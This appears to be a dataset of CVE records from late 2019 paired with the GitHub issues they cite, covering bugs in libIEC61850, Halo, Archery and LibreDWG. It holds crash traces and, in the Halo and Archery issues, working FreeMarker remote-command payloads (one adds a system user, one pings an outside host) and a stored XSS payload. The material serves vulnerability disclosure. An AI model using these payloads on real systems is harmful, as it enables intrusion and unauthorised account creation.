- ImageMagick version:
Version: ImageMagick 7.0.9-7 Q16 x86_64 2019-11-27 https://imagemagick.org
Copyright: ? 1999-2020 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.0)
Delegates (built-in): bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr lzma openexr pangocairo png tiff wmf x xml zlib
- Environment (Operating system, version and so on):
Distributor ID: Ubuntu
Description: Ubuntu 16.04.5 LTS
Release: 16.04
Codename: xenial
- Additional information:
<!-- Thanks for reporting the issue to ImageMagick! -->
|
heap-use-after-free in MngInfoDiscardObject of coders/png.c
|
https://api.github.com/repos/ImageMagick/ImageMagick/issues/1791/comments
| 8
|
2019-11-27T06:48:11Z
|
2020-03-08T20:06:50Z
|
https://github.com/ImageMagick/ImageMagick/issues/1791
| 529,151,827
| 1,791
| 913
|
CVE-2019-19957
|
2019-12-24T22:15:11.247
|
In libIEC61850 1.4.0, getNumberOfElements in mms/iso_mms/server/mms_access_result.c has an out-of-bounds read vulnerability, related to bufPos and elementLength.
|
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"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"type": "Primary"
}
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|
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125
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https://github.com/mz-automation/libiec61850/issues/197
|
[
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] |
github.com
|
[
"mz-automation",
"libiec61850"
] |
There is a out bound read vulnerability in `getNumberOfElements` because `getNumberOfElements` doesn't check `bufPos`, `elementLength` arguments. So `bufPos` and `elementLength` can be very large number.
<img width="689" alt="Screen Shot 2019-12-24 at 4 45 03 PM" src="https://user-images.githubusercontent.com/20929895/71404348-46d6e280-266d-11ea-8a49-1019ff5986eb.png">
poc:
[poc.zip](https://github.com/mz-automation/libiec61850/files/3997742/poc.zip)
result in gdb:
```
gdb-peda$ r < fuzzout/crashes/id:000042,sig:06,src:000153,op:havoc,rep:16
Starting program: /home/casper/targets/struct/libiec61850/afl/fuzzrun/fuzzmmsdata < fuzzout/crashes/id:000042,sig:06,src:000153,op:havoc,rep:16
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x80000009 --> 0x0
RBX: 0x7fffffffe240 --> 0x0
RCX: 0x1ffffffff01f3127
RDX: 0x6000216f9 --> 0x0
RSI: 0x7fffffffe200 --> 0x7fffffff --> 0x0
RDI: 0xffffffff80f98939
RBP: 0x7fffffffe310 --> 0x4c27c0 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffe1e0 --> 0x41b58ab3
RIP: 0x7ffff7913021 (<MmsValue_decodeMmsData+993>: movzx ecx,BYTE PTR [rcx+0x7fff8000])
R8 : 0xf98930 --> 0xff7f8600868908a1
R9 : 0xffffffffc40 --> 0x0
R10: 0x6
R11: 0x6
R12: 0x1
R13: 0x1
R14: 0xa ('\n')
R15: 0x9 ('\t')
EFLAGS: 0x10a06 (carry PARITY adjust zero sign trap INTERRUPT direction OVERFLOW)
[-------------------------------------code-------------------------------------]
0x7ffff7913017 <MmsValue_decodeMmsData+983>: add rdi,r8
0x7ffff791301a <MmsValue_decodeMmsData+986>: mov rcx,rdi
0x7ffff791301d <MmsValue_decodeMmsData+989>: shr rcx,0x3
=> 0x7ffff7913021 <MmsValue_decodeMmsData+993>: movzx ecx,BYTE PTR [rcx+0x7fff8000]
0x7ffff7913028 <MmsValue_decodeMmsData+1000>: test cl,cl
0x7ffff791302a <MmsValue_decodeMmsData+1002>: jne 0x7ffff791315d <MmsValue_decodeMmsData+1309>
0x7ffff7913030 <MmsValue_decodeMmsData+1008>: lea rsp,[rsp-0x98]
0x7ffff7913038 <MmsValue_decodeMmsData+1016>: mov QWORD PTR [rsp],rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe1e0 --> 0x41b58ab3
0008| 0x7fffffffe1e8 --> 0x7ffff7b769cc ("3 32 4 24 elementLength.addr.i:152 48 4 14 dataLength:163 64 4 17 elementLength:187")
0016| 0x7fffffffe1f0 --> 0x7ffff7912c40 (<MmsValue_decodeMmsData>: lea rsp,[rsp-0x98])
0024| 0x7fffffffe1f8 --> 0x0
0032| 0x7fffffffe200 --> 0x7fffffff --> 0x0
0040| 0x7fffffffe208 --> 0x0
0048| 0x7fffffffe210 --> 0x8
0056| 0x7fffffffe218 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7913021 in getNumberOfElements (buffer=0xf98930 <globalbuf> "\241\b\211\206", bufPos=0x80000009, elementLength=0x7fffffff) at /home/casper/targets/struct/libiec61850/afl/SRC/src/mms/iso_mms/server/mms_access_result.c:106
106 uint8_t tag = buffer[bufPos++];
gdb-peda$ bt
#0 0x00007ffff7913021 in getNumberOfElements (buffer=0xf98930 <globalbuf> "\241\b\211\206", bufPos=0x80000009, elementLength=0x7fffffff) at /home/casper/targets/struct/libiec61850/afl/SRC/src/mms/iso_mms/server/mms_access_result.c:106
#1 MmsValue_decodeMmsData (buffer=<optimized out>, bufPos=0x216f9, bufferLength=<optimized out>, endBufPos=<optimized out>) at /home/casper/targets/struct/libiec61850/afl/SRC/src/mms/iso_mms/server/mms_access_result.c:176
#2 0x00000000004c2378 in main () at ../fuzzsrc/fuzzmmsdata.c:12
#3 0x00007ffff683fb97 in __libc_start_main (main=0x4c22e0 <main>, argc=0x1, argv=0x7fffffffe408, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe3f8) at ../csu/libc-start.c:310
#4 0x000000000041acfa in _start ()
```
|
SegmentFault in getNumberOfElements in src/mms/iso_mms/server/mms_access_result.c
|
https://api.github.com/repos/mz-automation/libiec61850/issues/197/comments
| 2
|
2019-12-24T08:51:15Z
|
2020-03-03T15:02:51Z
|
https://github.com/mz-automation/libiec61850/issues/197
| 542,050,001
| 197
| 914
|
CVE-2019-19999
|
2019-12-26T04:15:10.923
|
Halo before 1.2.0-beta.1 allows Server Side Template Injection (SSTI) because TemplateClassResolver.SAFER_RESOLVER is not used in the FreeMarker configuration.
|
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[
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<!--
如果你不认真勾选下面的内容，我可能会直接关闭你的 Issue。
提问之前，建议先阅读 https://github.com/ruby-china/How-To-Ask-Questions-The-Smart-Way
-->
**I am sure I have checked**
- [x] [Halo User Guide Documentation ](https://halo.run/docs)
- [x] [Halo BBS](https://bbs.halo.run)
- [x] [Github Wiki ](https://github.com/halo-dev/halo/wiki/4.-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98)
- [x] [Other Issues](https://github.com/halo-dev/halo/issues)
----
**I want to apply**
- [x] BUG feedback
In the Edit Theme File function. I can edit the ftl file. This is the freemarker template file. This file can cause arbitrary code execution when it is rendered in the background.
RCE code is
```
<#assign test="freemarker.template.utility.Execute"?new()>
${test("touch /tmp/freemarkerPwned")}
```
Then visit an arbitrary 404 page, this vulnerability is triggered.
such as http: //demo.halo/foo
|
A Server-Side Freemarker template injection vulnerability could cause remote command execution
|
https://api.github.com/repos/halo-dev/halo/issues/419/comments
| 1
|
2019-12-11T10:44:41Z
|
2019-12-12T17:27:08Z
|
https://github.com/halo-dev/halo/issues/419
| 536,287,817
| 419
| 916
|
CVE-2019-19999
|
2019-12-26T04:15:10.923
|
Halo before 1.2.0-beta.1 allows Server Side Template Injection (SSTI) because TemplateClassResolver.SAFER_RESOLVER is not used in the FreeMarker configuration.
|
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<!--
如果你不认真勾选下面的内容，我可能会直接关闭你的 Issue。
提问之前，建议先阅读 https://github.com/ruby-china/How-To-Ask-Questions-The-Smart-Way
-->
**我确定我已经查看了** (标注`[ ]`为`[x]`)
- [ ] [Halo 使用文档](https://halo.run/docs)
- [ ] [Halo 论坛](https://bbs.halo.run)
- [ ] [Github Wiki 常见问题](https://github.com/halo-dev/halo/wiki/4.-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98)
- [ x] [其他 Issues](https://github.com/halo-dev/halo/issues)
----
**我要申请** (标注`[ ]`为`[x]`)
- [x ] BUG 反馈
- [ ] 添加新的特性或者功能
- [ ] 请求技术支持
# Testing environment
java version:1.8.0_181
os system: windows
server ip address:192.168.126.136
# Vulnerability Test
## Simple test
access address http://192.168.126.136:8090/admin/ and login in the backstage.Click exterior(外观) and select theme editor(主题编辑). Select any one of the template files,such as "page-top.ftl". Then edit the file and insert a template statement like this.
### payload-1
```
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("ping ggggga.2xxxxxj.ceye.io") }
```
Save the file and refresh home page,and then ceye platform can receive a message
## Execute system command
also edit "page-top.ftl" to execute system command to add system user.
### payload-2
```
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("net user security security /add") }
```
save the file again and refresh home page again.Then will add user in the system
# Remark
Because the preview does not display the picture properly when editing the issus, you can visit my github project(https://github.com/c0d1007/exploit) and view the picture.
# Solution
Template files can only be edited locally, or check the file input
|
unsafe template file permissions edit cause Server Side Template Injection(SSTI)
|
https://api.github.com/repos/halo-dev/halo/issues/440/comments
| 6
|
2019-12-24T15:49:53Z
|
2019-12-25T13:37:00Z
|
https://github.com/halo-dev/halo/issues/440
| 542,163,626
| 440
| 917
|
CVE-2019-20008
|
2019-12-26T23:15:11.303
|
In Archery before 1.3, inserting an XSS payload into a project name (either by creating a new project or editing an existing one) will result in stored XSS on the vulnerability-scan scheduling page.
|
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"authentication": "SINGLE",
"availabilityImpact": "NONE",
"baseScore": 3.5,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N",
"version": "2.0"
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79
|
https://github.com/archerysec/archerysec/issues/338
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"archerysec",
"archerysec"
] |
Upon a security analysis of the platform, a stored cross site scripting vulnerability was identified on the Web and Infrastructure Scan Scheduler's project dropdown selection.
The payload is present on the project name attribute, but it is only executed upon javascript interaction by the Select2 library utilized on that specific menu. Upon deletion of the **archerysec/static/js/select2.min.js** file, the vulnerability was not present anymore (as were the library functionalities).
The vulnerability is not present on the python interactions, it is the live search function from select2 that evaluates and (possibly) decodes HTML Entities from the payload.
**How To Reproduce**
Steps to reproduce the behavior:
1. Create a project with the name "`XSS<img src=x onerror='prompt(1)'>`"
2. Click "**Launch Scans**" on the left-side menu
3. Proceed to either "**Dynamic Scans**" or "**Infrastructure Scans**"
4. Click "**Scan Schedule**"
5. Click the project dropdown selection
**Expected behavior**
After reproducing the steps above, a pop up should appear prompting the user with "1"
|
Stored XSS on the scheduler projects list
|
https://api.github.com/repos/archerysec/archerysec/issues/338/comments
| 4
|
2019-12-03T02:59:59Z
|
2019-12-29T13:04:49Z
|
https://github.com/archerysec/archerysec/issues/338
| 531,680,066
| 338
| 918
|
CVE-2019-20009
|
2019-12-27T01:15:13.257
|
An issue was discovered in GNU LibreDWG before 0.93. Crafted input will lead to an attempted excessive memory allocation in dwg_decode_SPLINE_private in dwg.spec.
|
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https://github.com/LibreDWG/libredwg/issues/176
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[
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github.com
|
[
"LibreDWG",
"libredwg"
] |
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb843000-0x55f7bb85b000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb85b000-0x55f7bb93f000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb93f000-0x55f7bb943000
.....
0x7fd78077d000-0x7fd780794000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780794000-0x7fd780993000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780993000-0x7fd780994000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780994000-0x7fd780995000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780995000-0x7fd7809af000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd7809af000-0x7fd780bae000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bae000-0x7fd780baf000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780baf000-0x7fd780bb0000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bb0000-0x7fd780bb4000
0x7fd780bb4000-0x7fd780bbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780bbb000-0x7fd780dba000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dba000-0x7fd780dbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbb000-0x7fd780dbc000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbc000-0x7fd780dbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780dbf000-0x7fd780fbe000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbe000-0x7fd780fbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbf000-0x7fd780fc0000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fc0000-0x7fd7811a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7811a7000-0x7fd7813a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813a7000-0x7fd7813ab000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ab000-0x7fd7813ad000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ad000-0x7fd7813b1000
0x7fd7813b1000-0x7fd78154e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78154e000-0x7fd78174d000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174d000-0x7fd78174e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174e000-0x7fd78174f000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174f000-0x7fd78189f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd78189f000-0x7fd781a9f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781a9f000-0x7fd781aa2000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa2000-0x7fd781aa5000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa5000-0x7fd78270a000
0x7fd78270a000-0x7fd782731000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd78279d000-0x7fd782927000
0x7fd782927000-0x7fd782931000
0x7fd782931000-0x7fd782932000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782932000-0x7fd782933000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782933000-0x7fd782934000
0x7fffa34fe000-0x7fffa351f000 [stack]
0x7fffa35bc000-0x7fffa35bf000 [vvar]
0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # #
|
Several bugs found by fuzzing
|
https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments
| 24
|
2019-12-24T03:44:32Z
|
2020-01-16T12:12:03Z
|
https://github.com/LibreDWG/libredwg/issues/176
| 541,977,765
| 176
| 919
|
CVE-2019-20009
|
2019-12-27T01:15:13.257
|
An issue was discovered in GNU LibreDWG before 0.93. Crafted input will lead to an attempted excessive memory allocation in dwg_decode_SPLINE_private in dwg.spec.
|
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770
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"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"LibreDWG",
"libredwg"
] |
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb843000-0x55f7bb85b000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb85b000-0x55f7bb93f000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb93f000-0x55f7bb943000
.....
0x7fd78077d000-0x7fd780794000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780794000-0x7fd780993000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780993000-0x7fd780994000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780994000-0x7fd780995000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780995000-0x7fd7809af000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd7809af000-0x7fd780bae000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bae000-0x7fd780baf000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780baf000-0x7fd780bb0000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bb0000-0x7fd780bb4000
0x7fd780bb4000-0x7fd780bbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780bbb000-0x7fd780dba000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dba000-0x7fd780dbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbb000-0x7fd780dbc000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbc000-0x7fd780dbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780dbf000-0x7fd780fbe000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbe000-0x7fd780fbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbf000-0x7fd780fc0000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fc0000-0x7fd7811a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7811a7000-0x7fd7813a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813a7000-0x7fd7813ab000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ab000-0x7fd7813ad000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ad000-0x7fd7813b1000
0x7fd7813b1000-0x7fd78154e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78154e000-0x7fd78174d000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174d000-0x7fd78174e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174e000-0x7fd78174f000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174f000-0x7fd78189f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd78189f000-0x7fd781a9f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781a9f000-0x7fd781aa2000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa2000-0x7fd781aa5000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa5000-0x7fd78270a000
0x7fd78270a000-0x7fd782731000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd78279d000-0x7fd782927000
0x7fd782927000-0x7fd782931000
0x7fd782931000-0x7fd782932000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782932000-0x7fd782933000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782933000-0x7fd782934000
0x7fffa34fe000-0x7fffa351f000 [stack]
0x7fffa35bc000-0x7fffa35bf000 [vvar]
0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # #
|
Several bugs found by fuzzing
|
https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments
| 24
|
2019-12-24T03:44:32Z
|
2020-01-16T12:12:03Z
|
https://github.com/LibreDWG/libredwg/issues/176
| 541,977,765
| 176
| 920
|
CVE-2019-20010
|
2019-12-27T01:15:13.320
|
An issue was discovered in GNU LibreDWG 0.92. There is a use-after-free in resolve_objectref_vector in decode.c.
|
{
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00033.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00045.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/LibreDWG/libredwg/issues/176"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/LibreDWG/libredwg/issues/176#issuecomment-568643383"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00033.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00045.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/LibreDWG/libredwg/issues/176"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/LibreDWG/libredwg/issues/176#issuecomment-568643383"
}
] |
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[
"416"
] |
416
|
https://github.com/LibreDWG/libredwg/issues/176#issuecomment-568643383
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"LibreDWG",
"libredwg"
] |
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb843000-0x55f7bb85b000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb85b000-0x55f7bb93f000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb93f000-0x55f7bb943000
.....
0x7fd78077d000-0x7fd780794000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780794000-0x7fd780993000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780993000-0x7fd780994000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780994000-0x7fd780995000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780995000-0x7fd7809af000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd7809af000-0x7fd780bae000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bae000-0x7fd780baf000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780baf000-0x7fd780bb0000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bb0000-0x7fd780bb4000
0x7fd780bb4000-0x7fd780bbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780bbb000-0x7fd780dba000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dba000-0x7fd780dbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbb000-0x7fd780dbc000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbc000-0x7fd780dbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780dbf000-0x7fd780fbe000 /lib/x86_64-linux-gnu/libdl-2.27.so
